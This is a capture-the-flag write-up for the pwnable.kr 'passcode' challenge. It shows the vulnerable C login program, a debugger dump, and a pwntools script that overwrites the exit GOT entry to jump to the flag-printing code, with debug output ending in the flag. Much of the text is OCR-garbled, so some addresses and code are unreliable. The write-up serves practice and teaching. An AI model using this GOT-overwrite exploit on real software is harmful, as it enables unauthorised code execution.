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Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?

ssh passcode@pwnable.kr -p2222 (pw:guest)

pwned (6747) times. early 30 pwners are: [ vs8
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root@mypwn:/ctf/work/pwnable.kr# ssh passcode@pwnable.kr -p2222
passcode@pwnable.kr's password:
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- Site admin : daehee87@gatech.edu

- IRC : irc.netgarage.org:6667 / #pwnable.kr

- Simply type "irssi" command to join IRC now

- files under /tmp can be erased anytime. make your directory under /tmp
- to use peda, issue “source /usr/share/peda/peda.py” in gdb terminal
Last login: Wed Jan 1 07:20:29 2020 from 123.136.248.144
passcode@prowl:~$ 1ls -la

total 36

drwxr-x--- 5 root passcode 4096 Oct 23 2016 .

drwxr-xr-x 116 root root 4096 Nov 12 21:34 ..

d--------- 2 root root 4096 Jun 26 2014 .bash_history
-P--r----- 1 root passcode_pwn 48 Jun 26 2014 flag

dr-xr-xr-x 2 root root 4096 Aug 20 2014 .irssi
-r-xr-sr-x 1 root passcode_pwn 7485 Jun 26 2014 passcode
-rw-r--r-- 1 root root 858 Jun 26 2014 passcode.c
drwxr-xr-x 2 root root 4096 Oct 23 2016 .pwntools-cache
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#include <stdio.h>
#include <stdlib.h>

void login(){
int passcodel;
int passcode2;

printf("enter passcodel : ");
scanf("%d", passcodel);
fflush(stdin);

// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);

printf("checking...\n");
if(passcodel==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}

void welcome(){
char name[100];
printf(“"enter you name : ");
scanf("%100s", name);

printf("Welcome %s!\n", name);

}

int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");

welcome();
login();

// something after login...
printf("Now I can safely trust you that you have credential :)\n");

return 0;

}
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scanf("%d", passcodel);

scanf("%d", passcode2);
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scanf("%d", &passcodel);

scanf("%d", &passcode2);
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welcome();
login();
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& payload

payload=cyclic(100)
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[ REGISTERS 1]
EAX 0x8048783 «— /% '%d' *x/

EBX 0x0

ECX 0x0

EDX 0x61616179 ('yaaa')

EDI 0x0

ESI 0xf779100@ (_GLOBAL_OFFSET_TABLE_) «— @x1d7déc

EBP 0xffcl77f8 —» 8xffcl7818 «— @xe

ESP 0xffcl77d@ —» @x8048783 «— [* '%d' */
EIP 0x8048586 (login+34) «—

[ DISASM ]

9x8048572 <login+1é4> <0x8048420>

0x8048577 <login+19>
0x804857¢c <login+24>
@x804857f <login+27>
@x8048583 <login+31>
P 0x8048586 <login+34> <@x80484a0>
format: Ox8048783 «— Bx65006425 /x '%d' */
I vararg: 0x61616179 ('yaaa') |

@x804858b <login+39> <@x804a02c>
9x8048590 <login+44>
9x8048593 <login+47> <@x8048430>

Bx8048598 <login+52>
@x804859d <login+57>

[ STACK ]
00:0000| esp OxTTcl77d0 —» Ox8048783 «— /% '%d' ox/
01:0004 Oxffcl//7d4 «— 'yaaauaaavaaawaaaxaaayaaa'
02:0008 Oxffcl//7d8 «— 'uaaavaaawaaaxaaayaaa'
03:600c Oxffcl//dc «— 'vaaawaaaxaaayaaa'
04:0010 Oxffcl7/7e@ «— 'waaaxaaayaaa'
05:0014 Oxffcl/ies 4— 'xaaavaaa'
06:0018 I Oxffcl/77e8 «— 'yaaa'
07:001c OxTTcl//ec «— BxbbatTt800

[ BACKTRACE 1]

P f @ 8048586 login+34
f 1 8048684 main+31
f 2 f75d1e81 __libc_start_main+241

pwndbg> n
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system("/bin/cat flag")
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#coding:utf8
#!/usr/bin/env python

from pwn import *

# context.log_level = 'debug'

process_name = './passcode’

p = process([process_name], env={'LD_LIBRARY_PATH':"'./'})
elf = ELF(process_name)

exit_got = elf.got['exit']

# pause()

payload=cyclic(100-4)
p.sendline(payload+p32(exit_got))

p.recv()

system_bincatflag addr = 0x080485E3
p.sendline(str(system_bincatflag_addr))

p.interactive()
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passcode@prowl:~$ python
Python 2.7.12 (default, Nov 12 2018, 14:36:49)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>>
. context.log level = ‘'debug’
>>> process_name = './passcode'’
>>> p = process([process_name], env={'LD_LIBRARY_PATH':'./'})
[x] Starting local process './passcode' env={'LD_LIBRARY_PATH': '.
[+] Starting local process './passcode' env={'LD_LIBRARY_PATH': '.
>>> elf = ELF(process_name)
[DEBUG] PLT 0x8048420 printf
[DEBUG] PLT ©x8048430 fflush
[DEBUG] PLT 0x8048440 _ stack_chk_fail
[DEBUG] PLT ©x8048450 puts
[DEBUG] PLT 0x8048460 system
[DEBUG] PLT 0x8048470 _ gmon_start
[DEBUG] PLT ©x8048480 exit
[DEBUG] PLT 0x8048490 _ libc_start_main
[DEBUG] PLT 0x80484a0 _ isoc99_scanf
[*] '/home/passcode/passcode’

/'}
/'} : pid 62485

Arch: i386-32-1little
RELRO: Partial RELRO
Stack: Canary found

NX: NX enabled

PIE: No PIE (0x8048000)

>>>

>>> main_addr = elf.symbols['main’]

>>> exit_got = elf.got['exit']

>>> # pause()

... payload=cyclic(100-4)

>>> # p.sendline(payload+p32(338150)+p32(13371337))



. p.sendline(payload+p32(exit_got))

[DEBUG] Sent @x65 bytes:
00000000 61 61 61 61 62 61 61 61 63 61 61 61 64 61 61 61 |aaaa|baaalcaaaldaaal
00000010 65 61 61 61 66 61 61 61 67 61 61 61 68 61 61 61 |eaaa|faaa|gaaalhaaal
00000020 69 61 61 61 6a 61 61 61 6b 61 61 61 6C 61 61 61 |iaaa|jaaa|kaaa|laaa
00000030 6d 61 61 61 6e 61 61 61 6f 61 61 61 70 61 61 61 |maaa|naaaloaaal|paaal
00000040 71 61 61 61 72 61 61 61 73 61 61 61 74 61 61 61 |qaaa|raaa|saaa|taaal
00000050 75 61 61 61 76 61 61 61 77 61 61 61 78 61 61 61 |uaaa|vaaa|waaa|xaaa|
00000060 18 a@ 04 08 0a [ o]
00000065

>>> # p.sendlineafter('name : ', 'A'*(100))

>>> p.recv()

[DEBUG] Received 0x28 bytes:
"Toddler's Secure Login System 1.0 beta.\n"

"Toddler's Secure Login System 1.0 beta.\n"

>>> # p.sendline(str(main_addr))

. system_bincatflag_addr = ©x@80485E3

>>> p.sendline(str(system_bincatflag_addr))

[DEBUG] Sent ©@xa bytes:
'134514147\n"

>>>

>>> p.interactive()

[*] Switching to interactive mode

[DEBUG] Received @x7f bytes:
90000000 65 6e 74 65 72 28 79 6f 75 20 6e 61 6d 65 20 3a |ente|r yo|u na|me :|
90000010 20 57 65 6c 63 6Ff 6d 65 20 61 61 61 61 62 61 61 | Wel|come| aaa|abaal
90000020 61 63 61 61 61 64 61 61 61 65 61 61 61 66 61 61 |acaa|adaalaeaa|afaal
90000030 61 67 61 61 61 68 61 61 61 69 61 61 61 6a 61 61 |agaa|ahaa|aiaalajaal
90000040 61 6b 61 61 61 6c 61 61 61 6d 61 61 61 6e 61 61 |akaa|alaa|amaa|anaal
90000050 61 6f 61 61 61 78 61 61 61 71 61 61 61 72 61 61 |acaa|apaalaqaalaraal
90000060 61 73 61 61 61 74 61 61 61 75 61 61 61 76 61 61 |asaa|ataalauaalavaal
90000070 61 77 61 61 61 78 61 61 61 18 a0 @4 08 21 @a |awaa|axaala---|-!-
0000007

enter you name : Welcome aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaocoaaapaaagaaaraaasaaataaaua

[DEBUG] Sent ©x1 bytes:
‘"\n' * ox1

[DEBUG] Sent ©x1 bytes:

"\n" * ox1

1s

[DEBUG] Sent ©x1 bytes:
"1' * ex1

[DEBUG] Sent ©x1 bytes:
's' * ox1

[DEBUG] Sent ©x1 bytes:
‘"\n" * ox1

[DEBUG] Received ©x3e bytes:
"enter passcodel : enter passcode2 : checking...\n'
'Login Failed!\n'
enter passcodel : enter passcode2 : checking...
Login Failed!
[DEBUG] Received 0x30 bytes:
'Sorry mom.. I got confused about scanf usage :(\n'
Sorry mom.. I got confused about scanf usage :(
[DEBUG] Received 0x37 bytes:
'"Now I can safely trust you that you have credential :)\n'
Now I can safely trust you that you have credential :)

[*1 Process './passcode' stopped with exit code © (pid 62485)



[*] Got EOF while reading in interactive

Lk A%flag

pwnable.kr &=

Congratz!. you got 10 points
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